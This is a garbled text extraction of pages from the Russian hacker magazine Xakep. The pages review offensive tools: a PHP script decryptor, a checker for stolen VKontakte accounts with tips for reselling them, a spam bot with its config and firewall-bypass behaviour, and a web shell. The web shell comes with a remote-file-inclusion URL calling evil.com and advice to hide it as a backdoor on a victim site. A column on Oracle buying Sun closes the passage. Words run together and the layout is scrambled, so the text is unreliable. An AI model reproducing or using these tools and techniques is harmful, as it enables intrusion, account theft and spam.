if(@unlink($file)){

 

 

 

 

 

 

 

echo

'<span

style="color:green">Ôàéë

удален.</

 

 

 

 

 

span>';

 

 

 

 

 

 

 

}

else {

 

 

 

 

 

 

 

 

 

echo

'<span

style="color:red">Ошибка

удаления

 

 

 

 

 

файла.</span>';

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

}

ПРИМЕРСОЦСЕТИНАОСНОВЕINSTANTCMS

XÀÊÅÐ 11 /131/ 09

065

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

ВЗЛОМ

 

 

 

 

 

BUY

 

 

w Click

to

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

m

МАГ ICQ 884888, HTTP://WAP-CHAT.RU

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

X-TOOLS

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

ПРОГРАММЫДЛЯХАКЕРОВ

ПРОГРАММА: MULTIPHP

chr($i);

 

 

 

 

 

 

DECRYPTOR

for($i = 65; $i < 91; $i++) $fuck[] =

 

 

 

ОС: *NIX/WIN

chr($i);

 

 

 

АВТОР: EUGEN

$key = implode("",$fuck);

 

 

 

Оченьчастомысталкиваемсясзашифрованным

 

 

 

 

 

сорцамикакого-либоphp-скрипта. Причем

Читаемвторойключиззакриптованногокода.

 

 

 

исходникинампростожизненнонеобходимо

Этобудутпервые52 символа, остальныежесим-

 

 

 

увидетьвпервозданномвиде(например, узнать

волыпослених— иестьзашифрованныйкод.

 

 

 

доступыкбазеданных). Кактутпоступить?

Расшифроватьегоможнотак:

 

 

 

Еслишифрованиевыполнялосьспомощью

 

 

 

 

 

Zend, тотутвсепонятно: идемвгугл, набираем

$decoded = base64_decode(strtr($enco

 

 

 

 

что-товроде«dezender download» инаслаж-

ded,$key,$to));

 

 

 

 

 

 

 

 

 

 

 

даемсярасшифрованнымкодом. Аесликрипт

 

 

 

 

 

 

 

 

 

 

 

 

 

 

выполнялсяприпомощиобфускацииизапуты-

Каквидно, сначалараскодируетсяbase64, а

Главноеокнопрограммы

 

 

ваниякода? Можно, конечно, вручную, строказа

потомсимволы1-гоключазаменяютсясимво-

 

 

 

строкойсидетьиприводитьсиенепотребство

ламивторого.

• логработы;

 

вудобоваримыйвид, потерявприэтомцелый

Длязапускапроцессадешифровкиположи

• возможностьсоздаватьподробныйHTML-

 

рабочийдень, номыпоступиминаче.

скрипти, собственно, расшифровываемый

отчет, кудазаписываютсялогин, пароль, ID,

 

Специальнодлятебямывыкладываем«Мульти

файлводнудиректорию. Далеевскриптенайди

количестводрузейиголосов, рейтингаккаунта;

 

php дешифровщик» отEugen.

строки:

• возможностьзаписыватьтудажесписокгрупп,

 

Итак, скриптумеетрасшифровыватьследующие

 

 

вкоторыхпользовательимеетправаадминист-

 

алгоритмы:

<?

 

ратораилимодератора;

 

 

 

// Закриптованный файл

 

• сборID-приложений, которымивладеет

 

• GZIP+BASE64

 

$file = "1.php";

 

человек;

 

• DEFLATE+BASE64 — Encoderov.net

 

...

 

• возможностьсохраненияплохихаккаунтовв

 

(r57, c99 è ò.ï.)

 

?>

 

отдельныйфайл;

 

• BASE64

 

 

 

• возможностьсборааккаунтовпокритериям

 

 

 

• Eugen — «10 ключей» + поддержка ста-

 

Иизменизначениепеременной$file насвое.

рейтинга/количествадрузей/числаголосов,

 

рого алгоритма с 1-м ключом

 

Расшифрованныйкодзапишетсяпрямовтвой

отборнужныхаккаунтоввотдельныйсписок;

 

• KALLISTO (без расшифровки обфуска-

 

файл.

• чекаккаунтовиразбивкаихнагруппыпо

 

ции в последних версиях)

 

Еслиутебяестьидеипорасшифровкеалгорит-

количествудрузей;

 

• CNS — CNCrypto (cnstats è ò.ï.)

 

мов, смеломожешьадресоватьихавторутулзыв

• подробнаястатистикадлясобранныхпокрите-

 

• Php LockIT (с обходом лицензии и

 

топикеforum.eugen.su/showthread.php?t=47.

риямаккаунтов;

 

срока действия скрипта)

 

 

 

• сохранениеизагрузкатекущихнастроек

 

• SourceCop

 

ПРОГРАММА: VKCHECKERLITE0.2

программы;

 

 

 

ОС: WINDIWS95/98/ME/2000/2003/

Возможностистольмаленькойутилиты, напи-

 

 

 

Болеетого, успешнорасшифровываютсядаже

XP/VISTA

саннойнаассемблере, впечатляют:).

 

вложенныекриптовки. Еслизакриптована

АВТОР: DX

Пользоватьсячекеромнепросто, аочень

 

частьскрипта, будетрасшифрованатолькоона.

Сколькоуженаписаноразнообразныхчекеров

просто: вбивайвлевоеокошкосписокаккаунтов

 

Дляпримерарассмотримспособдешифровки

«ВКонтакта» — неперечесть! Вотинаэтотраз

социальнойсети(поумолчаниюлогинипароль

 

алгоритмаCNCrypto.

представляемтебеочереднуюпрограммудля

разделеныдвоеточием) идавинакнопку

 

1. Особенности самого алгоритма:

работысаккаунтамиобщеизвестнойсоциаль-

«Старт». Вокошке«Good» будутпоявляться

• Обфускация;

нойсети— VKChecker Lite заавторствомdx.

отчеканныевалидныеучеткипользователей.

• Криптованиекодадешифровки;

Функционалпрограммы:

Такжесоветуюразобратьсяснастройкамии

• Хранениекодавкомментариивэтомжефайле;

- написананаассемблере(отсюдаразмерexe —

фичамипроги: окошки«Опции», «Настройки

• Прираскриптовкескриптчитаетсамсебя.

36.5 кбвнезапакованномвиде);

критериев» ивкладка«Дополнительно» — здесь

 

2. Закриптованный код выглядит так:

• простойчекаккаунтовнавалид-невалид;

естьгдеразгулятьсяпытливомухакеру:).

 

 

 

• чекаккаунтовсопределениемID;

Инапоследок— небольшоепособие-примерот

 

/*CNS<какие-то 6 цифр>код*/

 

• поддержкасервисаантикапча;

авторадлятех, ктопродаетаккаунты«ВКонтак-

 

 

 

• поддержкапрокси, сокс5 (опциональнои

та», ориентируясьначислодрузей:

 

 

 

Вэтомкоде/*CNS, 6 цифри*/ следуетотбросить;

можноихнезадавать);

1. Включаем проверку по критериям;

 

намнужентолькоbase64 кодмеждуними. Даль-

• многопоточность;

2. Ставим критерий «число друзей» больше,

 

шеследуетстрока— ключдлярасшифровки.

• заданиезадержекдляпотоков;

например, 10;

 

Генерируетсяонтак:

• определениебалансаантикапчи;

3. Ставим опцию установки чекера на паузу

 

 

 

•отсылкажалобонеправильнораспознанныхакках;

после сбора, например, 20000 друзей.

 

$fuck = array();

 

• возможностьзадатьразделителидляаккаун-

Теперьчекербудетприостановлен, итысмо-

 

for($i = 97; $i < 123; $i++) $fuck[] =

 

тов, прокси, результата;

жешьзабратьначеканныеаккаунтыссуммой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

066

 

 

 

XÀÊÅÐ 11 /131/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

друзей20000, потомобнуляйстатистику, очи-

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

щайсписоксобранныхаккаунтовипродолжай

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

собиратьследующуюпачкуаккаунтовссуммой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

друзей20000.

 

 

 

 

 

 

 

 

 

 

 

 

ПРОГРАММА: СПАМБОТ

 

 

 

 

 

 

 

ОС: WINDIWS95/98/ME/2000/2003/

 

 

 

 

 

 

 

 

 

 

 

 

 

 

XP/VISTAДЛЯБОТАИБИЛДЕРА,

 

Админкаспамбота

000000

 

*NIX/WINДЛЯАДМИНКИ

 

 

 

 

 

 

 

АВТОР: SLESH

 

 

то считается, что бот ушел в офлайн

 

толькопокейворду, которыйжесткопрописан

Представляемтвоемувниманиюочередную

 

 

$max_thread=5; // число потоков для

 

вегокоде, тоестьтак: http://site.com/index.

программу, написаннуюнаассемблере— Спам

 

 

спама

 

php?path=http://evil.com/shell.txt&keyword

бототslesh'а. Надискетынайдешьархивсад-

 

 

$block='on'; // блокировка мертвых

 

(дальшекейвордспрячетсявпост-запрос

минкойбота, исходникиботаFASM иисходники

 

 

ботов

 

иегобудетневидно; кейвордможносразу

билдеранаDelphi. Описывать, каквнедритьбота

 

 

?>

 

послатьвпост).

вчужуюсистему— уженемоязадача, поэтому

 

 

 

 

2. Ты внутри сайта. Левые файлы заливать

 

 

 

представляютебеописаниефункционалаи

 

Затем— настроить, собственно, ботаиего

 

нельзя или палевно. Что делать?

принципыдействиябота.

 

билдер:

 

Простоскопируйвеськодшеллавкакой-либо

Скомпилированныйботдействуетследующим

 

 

 

 

существующийфайлнаудаленнойсистемеина-

образом:

 

 

ôàéë: bot.asm:

 

слаждайсяскрытымбэкдоромнасайтежертвы

1. Бот расшифровывается;

 

 

WAIT_TIME equ 40 — время в секундах

 

поадресувроде: http://site.com/?keyword.

2. Бот получает адреса API-функций, которые

 

 

между отстуками

 

Изособенностейшелла:

он юзает;

 

 

server_port equ 5000h — порт админки

 

• независимостьотпутей/адресовсайта(тоесть

3. Бот проверяет наличие того, что он уже запу-

 

 

ôàéë: const.inc:

 

инклудвродеhttp://site.com/?keyword&foo1=

щен, и если так, то самовыключается;

 

 

server_script db '/msb/task.

 

bar1&foo2=bar2 пройдетбезпотерипарамет-

4. Устанавливает себя в систему в папку шаб-

 

 

php?',0,0,0,0,0,0,0,0 — ïóòü ê àä-

 

ровfoo1 иfoo2);

лонов и прописывается в автозагрузке;

 

 

минке

 

• шеллоткрываетсятолькопослепередачиему

5. Выделяет память для своих нужд;

 

 

server_host db 'localhost',0,0,0,0,0

 

заранееопределенноготобойкейворда;

6. Прописывает себя в реестре для обхода

 

 

,0,0,0,0,0,0,0,0 — host админки

 

• basic-авторизация(наcgi/fastcgi автоматичес-

встроенного в XP файрвола;

 

 

my_sys_name db '\proga.

 

киотключается);

7. Стучится в админку;

 

 

exe',0,0,0,0,0,0,0,0,0,0 ; (ñëåø

 

• вседанныепередаютсяв$_POST;

8. Если получена команда ждать, ждет указан-

 

 

обязателен!) — имя, с которым прога

 

• файловыйменеджерсотображениемподроб-

ное время;

 

 

будет сидеть в системе

 

нойинформацииофайлах;

9. Если получено задание, то парсит его и

 

 

MemFileName db 'test123',0 — предо-

 

• отображениеосновнойинформацииосистеме;

запускает указанное количество потоков

 

 

твращение повторного запуска

 

• php eval/command execution;

отправки письма;

 

 

 

 

• загрузкамножествафайловзаразнаjs;

 

 

 

10. Перед каждой отправкой письма обрабаты-

 

Послеэтойнехитройнастройкитебенужно

 

• просмотр/редактирование/удалениефайлови

вает макросы в нем;

 

будет:

 

директорий(удалениерекурсивно);

11. Отсылает письма, пока они есть в задании;

 

1. Залить админку на свой сервер и на все

 

• можноспокойноскачиватьфайлыоченьболь-

12. Во время выполнения задания периодичес-

 

скрипты и папки поставить права 666;

 

шихразмеров(например, логиапача);

ки стучит в админку с результатами отправки.

 

2. Войти в админку (index.php) и выбрать пункт

 

• zip/unzip файловидиректорий;

Теперьовозможностяхбота:

 

меню — INSTALL;

 

• разбивкалистингафайловидиректорийна

• обходвстроенноговXP файрвола;

 

3. Настроить бота на получение заданий.

 

страницы;

• криптовка(еслиюзатьбилдер);

 

Наэтомнастройкаботабудетзакончена, можно

 

• еслишеллинклудитсявсуществующийскрипт,

• многопоточнаяотправка;

 

приступатьксоставлениюспам-тасков).

 

тебеможетпригодитьсявстроеннаязащита

• поддержкамакросовнауровнеадминкии

 

Подробнееомакросахипрочемфункционале

 

отвзлома: отсекаютсязапросыпоключевым

бота;

 

админкиботачитайнаАнтичате: http://forum.

 

словамвродеeval, base64, union ит.д.

• логошибокотправки;

 

antichat.ru/thread104291.html.

 

Всеэтовеликолепиевеситвсего38,1 Кб.

• самоустановкавсистему;

 

 

 

 

Теперьрассмотримнастройкушелла. Открывай

• возможностьбанаплохихботов;

 

ПРОГРАММА: MAGICINCLUDESHELL скриптинаходивегоначалеследующие

• шифрованиетрафамеждуботомиадминкой.

3.3.3

 

строки:

Дляустановкиботасначаланеобходимоскон-

 

ОС: *NIX/WIN

 

 

 

 

фигурироватьадминку(файлconfig.php):

 

АВТОР: МАГ

 

 

<?php

 

 

 

Немогунепорадоватьчитателейzисвоим

 

 

...

 

<?php

 

релизомвеб-шелла:). Итак, Magic Include Shell,

 

 

$my_keyw = 'keyword'; //твой кейворд

 

$db_host='localhost'; // õîñò ñ áä

 

каквидноизназвания, предназначендля

 

 

для доступа в шелл

 

$db_port=3306; // ïîðò áä

 

работывинклудах. Рассмотримситуации, когда

 

 

$items_per_page = 50; //количество

 

$db_user='root'; // þçåð áä

 

понадобитсятакойшелл:

 

 

файлов/директорий на одной странице

 

$db_pass='pass'; // ïàññ îò áä

 

1. Имеем RFI, что-то вроде http://site.com/index.

 

 

шелла

 

$db_name='sbot'; // èìÿ áàçû â áä

 

php?path=http://evil.com/shell.txt.

 

 

$admin_name='admin'; //имя админа в

 

(нужно создать самому)

 

Чтоделать, еслинеработаетsafe mode, либо

 

 

basic-авторизации

 

$admin_name=''; // имя пользователя

 

использованиеконсольныхкомандпокакой-

 

 

$admin_pass='password'; //пароль

 

для доступа к админке

 

топричиненедаетнужногоэффекта? Очень

 

 

админа в basic-авторизации

 

$admin_pass=''; // пароль для досту-

 

просто! Инклудьмойшеллинаслаждайся

 

 

...

 

па к админке

 

полноценнымфайловымменеджеромнауда-

 

 

?>

 

$TIME_LIM='00:01:00'; //

 

леннойсистеме, которыйнебудетзависетьот

 

 

 

 

 

 

 

 

(часы:минуты:секунды) если время

 

внутреннихпутейиадресасайта. Тутстоитот-

 

Всепредложенияипожеланияпоскрипту

последнего отстука больше данного,

 

метитьособенностьскрипта: шеллоткроется

 

направляймневасю:). z

 

 

 

 

067

XÀÊÅÐ 11 /131/ 09

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

СЦЕНА

МАРИЯ «MIFRILL» НЕФЕДОВА MIFRILL@REAL.XAKEP.RU

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Вершина

пищевой

öåïè

Oracle,Sunèâñå,âñå,âñå

ПРАКТИЧЕСКИВСЕКОМПАНИИ-ГИГАНТЫ РЫНКАITДЕЛАЮТЭТО—ОНИПОКУПАЮТ ИНТЕРЕСНЫЕПРОЕКТЫ,«ПОРАБОЩАЮТ» ЭКС-КОНКУРЕНТОВ,ПРЕВРАЩАЯИХВСВОИ ПОДРАЗДЕЛЕНИЯ,ПОДПИСЫВАЮТДОГОВОРЫ ОСЛИЯНИЯХИТАКДАЛЕЕ.ОДНАКОСИТУАЦИИ, ВХОДЕКОТОРЫХОДИНДИНОЗАВРРЫНКА ПОГЛОЩАЕТДРУГОГО,ВОЗНИКАЮТНЕТАК ЧАСТО.РЕЧЬ,КОНЕЧНО,ИДЕТОСДЕЛКЕ,В РЕЗУЛЬТАТЕКОТОРОЙКОМПАНИЯSUNMICRO- SYSTEMSВОТ-ВОТОТОЙДЕТВРУКИКОМПАНИИ ORACLE.ТАКОЙПРЕЦЕДЕНТОПРЕДЕЛЕННО ДОСТОИНВНИМАНИЯ.

068

XÀÊÅÐ 11 /131/ 09

Соседние файлы в папке журнал хакер